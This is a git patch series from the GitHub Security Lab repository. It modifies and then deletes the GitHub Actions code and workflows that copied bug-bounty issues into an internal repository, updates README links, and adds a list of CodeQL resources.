From 564fa3773a32505f601f6530402e66b8084090e8 Mon Sep 17 00:00:00 2001 From: Xavier Rene-Corail Date: Thu, 4 Feb 2021 15:27:20 -0800 Subject: [PATCH 001/140] Create card at issue replication --- .github/actions/replicate/replicate.js | 68 +++++------------------- .github/actions/replicate/replicate.ts | 72 +++++--------------------- 2 files changed, 25 insertions(+), 115 deletions(-) diff --git a/.github/actions/replicate/replicate.js b/.github/actions/replicate/replicate.js index 3d323e8..b0d7097 100644 --- a/.github/actions/replicate/replicate.js +++ b/.github/actions/replicate/replicate.js @@ -19,7 +19,7 @@ var __importStar = (this && this.__importStar) || function (mod) { return result; }; Object.defineProperty(exports, "__esModule", { value: true }); -exports.isFirstSubmission = exports.createInternalIssue = exports.generateInternalIssueContentFromPayload = exports.BOUNTY_LABELS = void 0; +exports.createInternalIssue = exports.generateInternalIssueContentFromPayload = exports.BOUNTY_LABELS = void 0; const core = __importStar(require("@actions/core")); const github = __importStar(require("@actions/github")); const issues_1 = require("./issues"); @@ -27,7 +27,7 @@ exports.BOUNTY_LABELS = ['All For One', 'The Bug Slayer']; const COMMENT_TASK_LIST_AFO = `## Task List - **If this is your first time in this process, have a look at that [5 min video](https://drive.google.com/drive/folders/1Jq6UfqP3CRF9Iafde86_IPAQPfdgH5rR)** -- **Visit the [documented process](https://github.com/github/pe-security-lab/blob/master/docs/bug_bounty.md)** +- **Visit the [documented process](https://github.com/github/pe-security-lab/blob/main/docs/bug_bounty.md)** - [ ] CodeQL Initial assessment - In case of rejection, please record your decision in the comment below: - [ ] Acceptance @@ -57,7 +57,7 @@ const COMMENT_TASK_LIST = { }; const COMMENT_SCORING = `## Scoring -- **Visit the [scoring guidelines](https://github.com/github/pe-security-lab/blob/master/docs/bug_bounty.md)** +- **Visit the [scoring guidelines](https://github.com/github/pe-security-lab/blob/main/docs/bug_bounty.md)** - **Accepted values are: 0 (= NA), or 1 (minimal) to 5 (maximal). Any other value will throw an error** | Criterion | Score| @@ -73,7 +73,6 @@ const COMMENT_SCORING = `## Scoring - [ ] Reject with encouragement swag (Decision: Dev Advocacy) - [ ] Accept `; -const COMMENT_FIRST_SUBMISSION = `## :tada: First submission for this user :tada:`; const getIssueFromRef = async (issueRef) => { if (!issueRef) return undefined; @@ -119,9 +118,8 @@ Submitted by [${issue.user.login}](${issue.user.html_url}) ${issue.body ? issue.body : ""}`; return result; }; -exports.createInternalIssue = async (payload, issue) => { +exports.createInternalIssue = async (issue) => { const internalRepoAccessToken = process.env['INT_REPO_TOKEN']; - const token = process.env['GITHUB_TOKEN']; let internal_ref = undefined; if (!internalRepoAccessToken) { core.debug("No valid token for creating issues on the internal repo"); @@ -161,47 +159,17 @@ exports.createInternalIssue = async (payload, issue) => { body: COMMENT_SCORING, }); core.debug(`comment created ${issueCommentResponse2.data.url}`); - if (await exports.isFirstSubmission(payload, token)) { - const issueCommentResponse3 = await octokit.issues.createComment({ - owner, - repo, - issue_number: internal_ref, - body: COMMENT_FIRST_SUBMISSION, - }); - core.debug(`comment created ${issueCommentResponse3.data.url}`); - } - } - catch (error) { - core.debug(error.message); - } - return internal_ref; -}; -const commentOriginalIssue = async (payload, internal_issue) => { - const repository = payload.repository; - const external_issue = payload.issue ? payload.issue.number : 0; - const token = process.env['GITHUB_TOKEN']; - if (!token) { - core.debug("No valid token for this repo"); - return; - } - if (!repository || external_issue <= 0) { - core.debug("Invalid payload"); - return; - } - try { - const octokit = new github.GitHub(token); - const issueCommentResponseOriginal = await octokit.issues.createComment({ - owner: repository.owner.login, - repo: repository.name, - issue_number: external_issue, - body: `Thanks for submitting this bounty :heart:! - Your submission is tracked internally with the issue reference ${internal_issue}.`, + const issueCard = await octokit.projects.createCard({ + column_id: (issue.labels.includes(exports.BOUNTY_LABELS[1])) ? 10205381 : 10205379, + content_id: internal_ref, + content_type: 'issue', }); - core.debug(`comment created ${issueCommentResponseOriginal.data.url}`); + core.debug(`Card creation status: ${issueCard.status}`); } catch (error) { core.debug(error.message); } + return internal_ref; }; const checkDuplicates = async (payload) => { var _a; @@ -222,27 +190,15 @@ const checkDuplicates = async (payload) => { } return false; }; -exports.isFirstSubmission = async (payload, token) => { - var _a; - const repository = payload.repository; - if (!repository) - return false; - const allSubmissions = await issues_1.getIssueList(repository.owner.login, repository.name, token, false, true); - return !issues_1.isUserAlreadyParticipant((_a = payload.issue) === null || _a === void 0 ? void 0 : _a.user.login, allSubmissions); -}; const run = async () => { const internalIssue = await exports.generateInternalIssueContentFromPayload(github.context.payload, core.getInput('specific_issue')); if (!internalIssue) return; - const existingIssue = core.getInput('existingIssue') || true; - if (existingIssue && await checkDuplicates(github.context.payload)) + if (await checkDuplicates(github.context.payload)) return; - const internal_ref = await exports.createInternalIssue(github.context.payload, internalIssue); + const internal_ref = await exports.createInternalIssue(internalIssue); if (!internal_ref) return; - if (!existingIssue) { - commentOriginalIssue(github.context.payload, internal_ref); - } }; run(); //# sourceMappingURL=replicate.js.map \ No newline at end of file diff --git a/.github/actions/replicate/replicate.ts b/.github/actions/replicate/replicate.ts index 386efa1..8c60d48 100644 --- a/.github/actions/replicate/replicate.ts +++ b/.github/actions/replicate/replicate.ts @@ -1,7 +1,7 @@ import * as core from '@actions/core' import * as github from '@actions/github' import { WebhookPayload } from '@actions/github/lib/interfaces' -import { getIssueList, internalIssueAlreadyCreated, isUserAlreadyParticipant } from './issues' +import { getIssueList, internalIssueAlreadyCreated } from './issues' export const BOUNTY_LABELS = ['All For One', 'The Bug Slayer'] as const export type BountyType = typeof BOUNTY_LABELS[number] @@ -12,7 +12,7 @@ type GitHubIssue = { [key: string]: any, number: number, html_url?: string | und const COMMENT_TASK_LIST_AFO = `## Task List - **If this is your first time in this process, have a look at that [5 min video](https://drive.google.com/drive/folders/1Jq6UfqP3CRF9Iafde86_IPAQPfdgH5rR)** -- **Visit the [documented process](https://github.com/github/pe-security-lab/blob/master/docs/bug_bounty.md)** +- **Visit the [documented process](https://github.com/github/pe-security-lab/blob/main/docs/bug_bounty.md)** - [ ] CodeQL Initial assessment - In case of rejection, please record your decision in the comment below: - [ ] Acceptance @@ -45,7 +45,7 @@ const COMMENT_TASK_LIST: CommentMap = { const COMMENT_SCORING = `## Scoring -- **Visit the [scoring guidelines](https://github.com/github/pe-security-lab/blob/master/docs/bug_bounty.md)** +- **Visit the [scoring guidelines](https://github.com/github/pe-security-lab/blob/main/docs/bug_bounty.md)** - **Accepted values are: 0 (= NA), or 1 (minimal) to 5 (maximal). Any other value will throw an error** | Criterion | Score| @@ -62,8 +62,6 @@ const COMMENT_SCORING = `## Scoring - [ ] Accept ` -const COMMENT_FIRST_SUBMISSION = `## :tada: First submission for this user :tada:` - const getIssueFromRef = async (issueRef: string | undefined): Promise => { if(!issueRef) return undefined @@ -116,9 +114,8 @@ ${issue.body? issue.body : ""}` return result } -export const createInternalIssue = async (payload: WebhookPayload, issue: Issue) : Promise => { +export const createInternalIssue = async (issue: Issue) : Promise => { const internalRepoAccessToken: string | undefined = process.env['INT_REPO_TOKEN'] - const token: string | undefined = process.env['GITHUB_TOKEN'] let internal_ref: number | undefined = undefined if(!internalRepoAccessToken) { @@ -162,49 +159,19 @@ export const createInternalIssue = async (payload: WebhookPayload, issue: Issue) }) core.debug(`comment created ${issueCommentResponse2.data.url}`) - if(await isFirstSubmission(payload, token)) { - const issueCommentResponse3 = await octokit.issues.createComment({ - owner, - repo, - issue_number: internal_ref, - body: COMMENT_FIRST_SUBMISSION, - }) - core.debug(`comment created ${issueCommentResponse3.data.url}`) - } + const issueCard = await octokit.projects.createCard({ + column_id: (issue.labels.includes(BOUNTY_LABELS[1]))? 10205381 : 10205379, + content_id: internal_ref, + content_type: 'issue', + }); + core.debug(`Card creation status: ${issueCard.status}`) + } catch(error) { core.debug(error.message) } return internal_ref } -const commentOriginalIssue = async (payload: WebhookPayload, internal_issue: number): Promise => { - const repository = payload.repository - const external_issue = payload.issue? payload.issue.number : 0 - const token: string | undefined = process.env['GITHUB_TOKEN'] - - if(!token) { - core.debug("No valid token for this repo") - return - } - if(!repository || external_issue <=0) { - core.debug("Invalid payload") - return - } - try { - const octokit: github.GitHub = new github.GitHub(token) - const issueCommentResponseOriginal = await octokit.issues.createComment({ - owner: repository.owner.login, - repo: repository.name, - issue_number: external_issue, - body: `Thanks for submitting this bounty :heart:! - Your submission is tracked internally with the issue reference ${internal_issue}.`, - }) - core.debug(`comment created ${issueCommentResponseOriginal.data.url}`) - } catch (error) { - core.debug(error.message) - } -} - const checkDuplicates = async (payload: WebhookPayload): Promise => { const internalRepoAccessToken: string | undefined = process.env['INT_REPO_TOKEN'] const internalRepo = core.getInput('internal_repo') || '/' @@ -223,30 +190,17 @@ const checkDuplicates = async (payload: WebhookPayload): Promise => { return false } -export const isFirstSubmission = async (payload: WebhookPayload, token : string | undefined) : Promise => { - const repository = payload.repository - if(!repository) - return false - const allSubmissions = await getIssueList(repository.owner.login, repository.name, token, false, true) - return !isUserAlreadyParticipant(payload.issue?.user.login, allSubmissions) -} - const run = async (): Promise => { const internalIssue = await generateInternalIssueContentFromPayload(github.context.payload, core.getInput('specific_issue')) if(!internalIssue) return - const existingIssue = core.getInput('existingIssue') || true - if(existingIssue && await checkDuplicates(github.context.payload)) + if(await checkDuplicates(github.context.payload)) return - const internal_ref = await createInternalIssue(github.context.payload, internalIssue) + const internal_ref = await createInternalIssue(internalIssue) if(!internal_ref) return - - if(!existingIssue) { - commentOriginalIssue(github.context.payload, internal_ref) - } } run() From c0b7aead8b8e6d33fb1a41cc6b4f8e2e5610c998 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Tue, 23 Feb 2021 12:50:51 +0000 Subject: [PATCH 002/140] Update link to https://github.com/github/securitylab --- CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md b/CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md index 003e79e..e08808d 100644 --- a/CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md +++ b/CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560/README.md @@ -2,4 +2,4 @@ Use [this snapshot](https://downloads.lgtm.com/snapshots/cpp/facebook/fizz/facebookincubator_fizz_cpp-srcVersion_c69ad1baf3f04620393ebadc3eedd130b74f4023-dist_odasa-lgtm-2019-01-13-f9dca2a-universal.zip) for the demo. -[Fizz](https://github.com/facebookincubator/fizz) contained a remotely triggerable infinite loop. For more details about the bug, see this [blog post](https://securitylab.github.com/research/facebook-fizz-CVE-2019-3560). A proof-of-concept exploit is available [here](https://github.com/github/security-lab/tree/95c0bcc670f3b3d98a4d578f8993f8138092b94f/SecurityExploits/Facebook/Fizz/CVE-2019-3560). +[Fizz](https://github.com/facebookincubator/fizz) contained a remotely triggerable infinite loop. For more details about the bug, see this [blog post](https://securitylab.github.com/research/facebook-fizz-CVE-2019-3560). A proof-of-concept exploit is available [here](https://github.com/github/securitylab/tree/95c0bcc670f3b3d98a4d578f8993f8138092b94f/SecurityExploits/Facebook/Fizz/CVE-2019-3560). From b1a156062785b60b53c92cff336c56be611872b8 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Tue, 23 Feb 2021 15:25:45 +0000 Subject: [PATCH 003/140] Remove obsolete Bounties sub-directory. --- Bounties/README.md | 4 ---- 1 file changed, 4 deletions(-) delete mode 100644 Bounties/README.md diff --git a/Bounties/README.md b/Bounties/README.md deleted file mode 100644 index 3d554e3..0000000 --- a/Bounties/README.md +++ /dev/null @@ -1,4 +0,0 @@ -# Bounties - -This folder contains CodeQL queries submitted by security researchers to claim the GitHub Security Lab **Bug Slayer** bounty. -Read more about the GitHub Security Lab [bounty program](https://securitylab.github.com/bounties). From d6333279be444988004d569eced43e95ac2fd383 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Tue, 23 Feb 2021 15:42:11 +0000 Subject: [PATCH 004/140] Add CodeQL resources to README. --- README.md | 45 ++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 40 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 612ced0..67f7e06 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,44 @@ # GitHub Security Lab -## CodeQL Queries -[Security related queries](CodeQL_Queries) +This is the main git repository of [GitHub Security Lab](https://securitylab.github.com/). +We use it for these main purposes: -## Proof of Concepts -[Proof-of-concept exploits (PoCs) for bugs found by the Lab](SecurityExploits/) +* We use [issues on this repo](https://github.com/github/securitylab/issues?q=is%3Aissue+is%3Aopen+label%3A%22All+For+One%22) to track CodeQL [bounty requests](https://securitylab.github.com/bounties). +* We use it for publishing some of our proof-of-concept exploits (after the vulnerability has been fixed). These PoCs can be found in the [SecurityExploits](SecurityExploits) sub-directory. +* Examples of CodeQL queries, which can be found in the [CodeQL_Queries](CodeQL_Queries) sub-directory. -Resources related to [GitHub Security Lab](https://securitylab.github.com). +## CodeQL Resources + +### Official resources + +* [CodeQL documentation](https://codeql.github.com/docs/) +* [CodeQL GitHub repo](https://github.com/github/codeql) + +### Example queries + +* Java + * [Apache Struts CVE-2018-11776](CodeQL_Queries/java/Apache_Struts_CVE-2018-11776) +* C/C++ + * [Apple XNU icmp_error CVE-2018-4407](CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407) + * [Facebook Fizz integer overflow vulnerability (CVE-2019-3560)](CodeQL_Queries/cpp/Facebook_Fizz_CVE-2019-3560) + * [Eating error codes in libssh2](CodeQL_Queries/cpp/libssh2_eating_error_codes) +* Javascript + * [Etherpad CVE-2018-6835](CodeQL_Queries/javascript/Etherpad_CVE-2018-6835) +* C# + * [C# Zip Slip demo](CodeQL_Queries/csharp/ZipSlip) +* GitHub Actions: + * [pull_request_target with explicit pull request checkout](CodeQL_Queries/actions/pull_request_target.ql) + * [Command injection from user-controlled Actions context](CodeQL_Queries/actions/script_injections.ql) + +### Videos + +* Conference talks/workshops: + * [Finding security vulnerabilities in JavaScript with CodeQL - GitHub Satellite 2020](https://www.youtube.com/watch?v=pYzfGaLTqC0) + * [Finding security vulnerabilities in Java with CodeQL - GitHub Satellite 2020](https://www.youtube.com/watch?v=nvCd0Ee4FgE) + * [CodeQL as an auditing oracle - POC 2020](https://www.youtube.com/watch?v=XmAEgl8bVhg) + * [mbuf-oflow: Finding Vulnerabilities In iOS/MacOS Networking Code](https://www.youtube.com/watch?v=0EHP2gzwVAY) +* CodeQL demos from the Semmle days (short Youtube videos): + * [PII data leaks: Identifying personal information in logs with CodeQL](https://www.youtube.com/watch?v=hHaOxbyqy44) + * [Vulnerability Hunting: Quest for an Exploit using QL](https://www.youtube.com/watch?v=irrYp3wdtsw) + * [Finding Insecure Deserialization in Java](https://www.youtube.com/watch?v=XsUcSd75K00) + * [Finding integer overflows in Libssh2](https://www.youtube.com/watch?v=czXicfULOfk) From a02e10f9a91f5c345f8a016e84d5eab17a04afdc Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Tue, 23 Feb 2021 15:10:30 -0800 Subject: [PATCH 005/140] Remove issue replication workflows --- .../workflows/check-replication-manual.yml | 19 ------------- .github/workflows/check-replication.yml | 21 --------------- .github/workflows/replicate-manual.yml | 27 ------------------- .github/workflows/workflow.yml | 22 --------------- 4 files changed, 89 deletions(-) delete mode 100644 .github/workflows/check-replication-manual.yml delete mode 100644 .github/workflows/check-replication.yml delete mode 100644 .github/workflows/replicate-manual.yml delete mode 100644 .github/workflows/workflow.yml diff --git a/.github/workflows/check-replication-manual.yml b/.github/workflows/check-replication-manual.yml deleted file mode 100644 index 0e1eef3..0000000 --- a/.github/workflows/check-replication-manual.yml +++ /dev/null @@ -1,19 +0,0 @@ -name: 'Bounty issue manual replication check' -on: workflow_dispatch - -jobs: - build: - name: check-replicate-manual - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v1 - with: - fetch-depth: 1 - - run: npm install - - run: npm run build - - uses: ./.github/actions/check - with: - internal_repo: 'github/securitylab-bounties' - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - INT_REPO_TOKEN: ${{ secrets.INT_REPO_TOKEN }} \ No newline at end of file diff --git a/.github/workflows/check-replication.yml b/.github/workflows/check-replication.yml deleted file mode 100644 index 21c243f..0000000 --- a/.github/workflows/check-replication.yml +++ /dev/null @@ -1,21 +0,0 @@ -name: 'Bounty issue replication check' -on: - schedule: - - cron: '0 17 * * *' - -jobs: - build: - name: check-replicate - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v1 - with: - fetch-depth: 1 - - run: npm install - - run: npm run build - - uses: ./.github/actions/check - with: - internal_repo: 'github/securitylab-bounties' - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - INT_REPO_TOKEN: ${{ secrets.INT_REPO_TOKEN }} \ No newline at end of file diff --git a/.github/workflows/replicate-manual.yml b/.github/workflows/replicate-manual.yml deleted file mode 100644 index 183ab15..0000000 --- a/.github/workflows/replicate-manual.yml +++ /dev/null @@ -1,27 +0,0 @@ -name: 'Bounty issue manual replication workflow' -on: - workflow_dispatch: - inputs: - issue: - description: 'Issue number to replicate' - required: true - -jobs: - build: - name: replicate-manual - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v1 - with: - fetch-depth: 1 - - run: npm install - - run: npm run build - - uses: ./.github/actions/replicate - with: - internal_repo: 'github/securitylab-bounties' - existing_issue: false - specific_issue: ${{ github.event.inputs.issue }} - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - INT_REPO_TOKEN: ${{ secrets.INT_REPO_TOKEN }} - diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml deleted file mode 100644 index 0b42c85..0000000 --- a/.github/workflows/workflow.yml +++ /dev/null @@ -1,22 +0,0 @@ -name: 'Bounty issue replication workflow' -on: - issues: - types: [opened] -jobs: - build: - name: replicate-new - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v1 - with: - fetch-depth: 1 - - run: npm install - - run: npm run build - - uses: ./.github/actions/replicate - with: - internal_repo: 'github/securitylab-bounties' - existing_issue: false - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - INT_REPO_TOKEN: ${{ secrets.INT_REPO_TOKEN }} - From 24d557826d650cc570a16f07bb75933543a16c75 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Tue, 23 Feb 2021 15:10:52 -0800 Subject: [PATCH 006/140] Delete .github/actions directory --- .github/actions/check/action.yml | 10 - .github/actions/check/check-replication.js | 57 ----- .github/actions/check/check-replication.ts | 37 ---- .../replicate/__tests__/replicate.test.js | 143 ------------ .../replicate/__tests__/replicate.test.ts | 139 ------------ .github/actions/replicate/action.yml | 16 -- .github/actions/replicate/issues.js | 94 -------- .github/actions/replicate/issues.ts | 77 ------- .github/actions/replicate/replicate.js | 204 ----------------- .github/actions/replicate/replicate.ts | 206 ------------------ 10 files changed, 983 deletions(-) delete mode 100644 .github/actions/check/action.yml delete mode 100644 .github/actions/check/check-replication.js delete mode 100644 .github/actions/check/check-replication.ts delete mode 100644 .github/actions/replicate/__tests__/replicate.test.js delete mode 100644 .github/actions/replicate/__tests__/replicate.test.ts delete mode 100644 .github/actions/replicate/action.yml delete mode 100644 .github/actions/replicate/issues.js delete mode 100644 .github/actions/replicate/issues.ts delete mode 100644 .github/actions/replicate/replicate.js delete mode 100644 .github/actions/replicate/replicate.ts diff --git a/.github/actions/check/action.yml b/.github/actions/check/action.yml deleted file mode 100644 index 941ff80..0000000 --- a/.github/actions/check/action.yml +++ /dev/null @@ -1,10 +0,0 @@ -name: 'check-replication-action' -description: 'Checks that all external bounties are replicated internally' -author: 'xcorail' -inputs: - internal_repo: - description: 'The destination repo for the internal issue' - default: 'github/securitylab-bounties' -runs: - using: 'node12' - main: './check-replication.js' \ No newline at end of file diff --git a/.github/actions/check/check-replication.js b/.github/actions/check/check-replication.js deleted file mode 100644 index 476311d..0000000 --- a/.github/actions/check/check-replication.js +++ /dev/null @@ -1,57 +0,0 @@ -"use strict"; -var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) { - if (k2 === undefined) k2 = k; - Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } }); -}) : (function(o, m, k, k2) { - if (k2 === undefined) k2 = k; - o[k2] = m[k]; -})); -var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) { - Object.defineProperty(o, "default", { enumerable: true, value: v }); -}) : function(o, v) { - o["default"] = v; -}); -var __importStar = (this && this.__importStar) || function (mod) { - if (mod && mod.__esModule) return mod; - var result = {}; - if (mod != null) for (var k in mod) if (Object.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); - __setModuleDefault(result, mod); - return result; -}; -Object.defineProperty(exports, "__esModule", { value: true }); -const core = __importStar(require("@actions/core")); -const github = __importStar(require("@actions/github")); -const issues_1 = require("../replicate/issues"); -const run = async () => { - const internalRepoAccessToken = process.env['INT_REPO_TOKEN']; - const internalRepo = core.getInput('internal_repo') || '/'; - const [owner, repo] = internalRepo.split('/'); - const internalIssues = await issues_1.getIssueList(owner, repo, internalRepoAccessToken, false, false); - if (!internalIssues) { - core.setFailed(`Internal error. Cannot access the internal repo ${internalRepo}. Aborting`); - return; - } - else { - core.debug(`Retrieved ${internalIssues === null || internalIssues === void 0 ? void 0 : internalIssues.length} internal issues`); - const externalIssues = await issues_1.getIssueList(github.context.repo.owner, github.context.repo.repo, process.env['GITHUB_TOKEN'], true, true); - if (!externalIssues) { - core.setFailed(`Internal error when retrieving all issues.`); - return; - } - core.debug(`Retrieved ${externalIssues === null || externalIssues === void 0 ? void 0 : externalIssues.length} external issues`); - let failed = false; - externalIssues.forEach(issue => { - const ref = issues_1.internalIssueAlreadyCreated(issue === null || issue === void 0 ? void 0 : issue.html_url, internalIssues); - if (!ref) { - core.debug(`External issue ${issue === null || issue === void 0 ? void 0 : issue.number} is not replicated internally.`); - failed = true; - } - }); - if (failed) { - core.setFailed("Some submissions are not replicated internally, see execution logs."); - } - } - return; -}; -run(); -//# sourceMappingURL=check-replication.js.map \ No newline at end of file diff --git a/.github/actions/check/check-replication.ts b/.github/actions/check/check-replication.ts deleted file mode 100644 index 7dbb23b..0000000 --- a/.github/actions/check/check-replication.ts +++ /dev/null @@ -1,37 +0,0 @@ -import * as core from '@actions/core' -import * as github from '@actions/github' -import { getIssueList, internalIssueAlreadyCreated } from '../replicate/issues' - -const run = async (): Promise => { - const internalRepoAccessToken: string | undefined = process.env['INT_REPO_TOKEN'] - const internalRepo = core.getInput('internal_repo') || '/' - const [owner, repo] = internalRepo.split('/') - const internalIssues = await getIssueList(owner, repo, internalRepoAccessToken, false, false) - if(!internalIssues) { - core.setFailed(`Internal error. Cannot access the internal repo ${internalRepo}. Aborting`) - return - } else { - core.debug(`Retrieved ${internalIssues?.length} internal issues`) - const externalIssues = await getIssueList(github.context.repo.owner, github.context.repo.repo, process.env['GITHUB_TOKEN'], true, true) - if(!externalIssues) { - core.setFailed(`Internal error when retrieving all issues.`) - return - } - core.debug(`Retrieved ${externalIssues?.length} external issues`) - let failed = false - externalIssues.forEach( issue => { - const ref = internalIssueAlreadyCreated(issue?.html_url, internalIssues) - if(!ref) { - core.debug(`External issue ${issue?.number} is not replicated internally.`) - failed = true - } - }) - if(failed) { - core.setFailed("Some submissions are not replicated internally, see execution logs.") - } - } - return -} - -run() - diff --git a/.github/actions/replicate/__tests__/replicate.test.js b/.github/actions/replicate/__tests__/replicate.test.js deleted file mode 100644 index c341579..0000000 --- a/.github/actions/replicate/__tests__/replicate.test.js +++ /dev/null @@ -1,143 +0,0 @@ -"use strict"; -var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) { - if (k2 === undefined) k2 = k; - Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } }); -}) : (function(o, m, k, k2) { - if (k2 === undefined) k2 = k; - o[k2] = m[k]; -})); -var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) { - Object.defineProperty(o, "default", { enumerable: true, value: v }); -}) : function(o, v) { - o["default"] = v; -}); -var __importStar = (this && this.__importStar) || function (mod) { - if (mod && mod.__esModule) return mod; - var result = {}; - if (mod != null) for (var k in mod) if (Object.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); - __setModuleDefault(result, mod); - return result; -}; -Object.defineProperty(exports, "__esModule", { value: true }); -const core = __importStar(require("@actions/core")); -const replicate = __importStar(require("../replicate")); -const issues = __importStar(require("../issues")); -const TEST_ISSUE_1 = 1; -const TEST_REPOSITORY = { - full_name: 'myuser/myrepo', - name: 'myrepo', - owner: { - login: 'myuser', - name: 'My User' - } -}; -const TEST_INVALID_PAYLOAD_NOUSER = { - repository: TEST_REPOSITORY, - issue: { - number: TEST_ISSUE_1, - html_url: 'https://github.com/test_owner/test_repo/issues/1', - } -}; -const TEST_INVALID_PAYLOAD_NOURL = { - repository: TEST_REPOSITORY, - issue: { - number: TEST_ISSUE_1, - user: { - login: 'issue_user', - html_url: 'https://github.com/users/issue_user' - } - } -}; -const TEST_INVALID_PAYLOAD_NOISSUE = { - repository: TEST_REPOSITORY, -}; -const TEST_LABEL_ALLFORONE = { name: 'All For One' }; -const TEST_LABEL_NOTBOUNTY_1 = { name: 'not-a-bounty-label' }; -const TEST_LABEL_NOTBOUNTY_2 = { name: 'not-a-bounty-label-either' }; -const TEST_PAYLOAD_NOTBOUNTY = { - repository: TEST_REPOSITORY, - issue: { - number: TEST_ISSUE_1, - html_url: 'https://github.com/test_owner/test_repo/issues/1', - user: { - login: 'issue_user', - html_url: 'https://github.com/users/issue_user' - }, - labels: [TEST_LABEL_NOTBOUNTY_1, TEST_LABEL_NOTBOUNTY_2], - } -}; -const TEST_PAYLOAD = { - repository: TEST_REPOSITORY, - issue: { - number: TEST_ISSUE_1, - html_url: 'https://github.com/test_owner/test_repo/issues/1', - user: { - login: 'ghsecuritylab', - html_url: 'https://github.com/ghsecuritylab' - }, - title: 'Issue Title', - labels: [TEST_LABEL_ALLFORONE, TEST_LABEL_NOTBOUNTY_1], - body: `# This is the issue title -This is the issue body first line -This is the issue body second line -` - } -}; -const TEST_GENERATED_ISSUE = { - title: '[All For One] Issue Title', - labels: ['All For One', 'not-a-bounty-label'], - bountyType: 'All For One', - body: `Original external [issue](https://github.com/test_owner/test_repo/issues/1) - -Submitted by [ghsecuritylab](https://github.com/ghsecuritylab) - -# This is the issue title -This is the issue body first line -This is the issue body second line -` -}; -describe('log errors when generating issue content', () => { - it('outputs a message for invalid issue in payload', async () => { - const debugMock = jest.spyOn(core, 'debug'); - const issue = await replicate.generateInternalIssueContentFromPayload(TEST_INVALID_PAYLOAD_NOURL); - expect(debugMock).toHaveBeenCalledWith('Invalid issue payload'); - expect(issue).toBeUndefined(); - const issue2 = await replicate.generateInternalIssueContentFromPayload(TEST_INVALID_PAYLOAD_NOUSER); - expect(debugMock).toHaveBeenCalledWith('Invalid issue payload'); - expect(issue2).toBeUndefined(); - const issue3 = await replicate.generateInternalIssueContentFromPayload(TEST_INVALID_PAYLOAD_NOISSUE); - expect(debugMock).toHaveBeenCalledWith('Invalid issue payload'); - expect(issue3).toBeUndefined(); - }); -}); -describe('excludes non bounty issues', () => { - it('creates the proper issue', async () => { - const debugMock = jest.spyOn(core, 'debug'); - const issue = await replicate.generateInternalIssueContentFromPayload(TEST_PAYLOAD_NOTBOUNTY); - expect(debugMock).toHaveBeenCalledWith('Not a bounty'); - expect(issue).toBeUndefined(); - }); -}); -describe('generates proper content', () => { - it('creates the proper issue', async () => { - const issue = await replicate.generateInternalIssueContentFromPayload(TEST_PAYLOAD); - expect(issue).toBeDefined(); - expect(issue).toEqual(TEST_GENERATED_ISSUE); - }); -}); -describe('check for duplicates', () => { - it('can find duplicates', async () => { - const TEST_REF = 31; - const TEST_BODY1 = `Original external [issue](https://github.com/owner/repo/issues/1)\n\nThen there is some text`; - const TEST_BODY2 = `Original external [issue](https://github.com/owner/repo/issues/2)\n\nThen there is some text`; - const TEST_INTERNAL_ISSUES = [ - { title: 'issue 1', author: 'author1', body: TEST_BODY1, number: 31 }, - { title: 'issue 2', author: 'author2', body: TEST_BODY2, number: 33 } - ]; - let foundRef = issues.internalIssueAlreadyCreated('https://github.com/owner/repo/issues/1', TEST_INTERNAL_ISSUES); - expect(foundRef).toEqual(TEST_REF); - foundRef = issues.internalIssueAlreadyCreated('https://github.com/owner/repo/issues/3', TEST_INTERNAL_ISSUES); - expect(foundRef).toBeUndefined(); - }); -}); -//# sourceMappingURL=replicate.test.js.map \ No newline at end of file diff --git a/.github/actions/replicate/__tests__/replicate.test.ts b/.github/actions/replicate/__tests__/replicate.test.ts deleted file mode 100644 index cdd2c2b..0000000 --- a/.github/actions/replicate/__tests__/replicate.test.ts +++ /dev/null @@ -1,139 +0,0 @@ -import * as core from '@actions/core' -import * as replicate from '../replicate' -import * as issues from '../issues' -import { WebhookPayload, PayloadRepository } from '@actions/github/lib/interfaces' - -const TEST_ISSUE_1 = 1 -const TEST_REPOSITORY: PayloadRepository = { - full_name: 'myuser/myrepo', - name: 'myrepo', - owner: { - login: 'myuser', - name: 'My User' - } -} - -const TEST_INVALID_PAYLOAD_NOUSER: WebhookPayload = { - repository: TEST_REPOSITORY, - issue: { - number: TEST_ISSUE_1, - html_url: 'https://github.com/test_owner/test_repo/issues/1', - } -} - -const TEST_INVALID_PAYLOAD_NOURL: WebhookPayload = { - repository: TEST_REPOSITORY, - issue: { - number: TEST_ISSUE_1, - user: { - login: 'issue_user', - html_url: 'https://github.com/users/issue_user' - } - } -} - -const 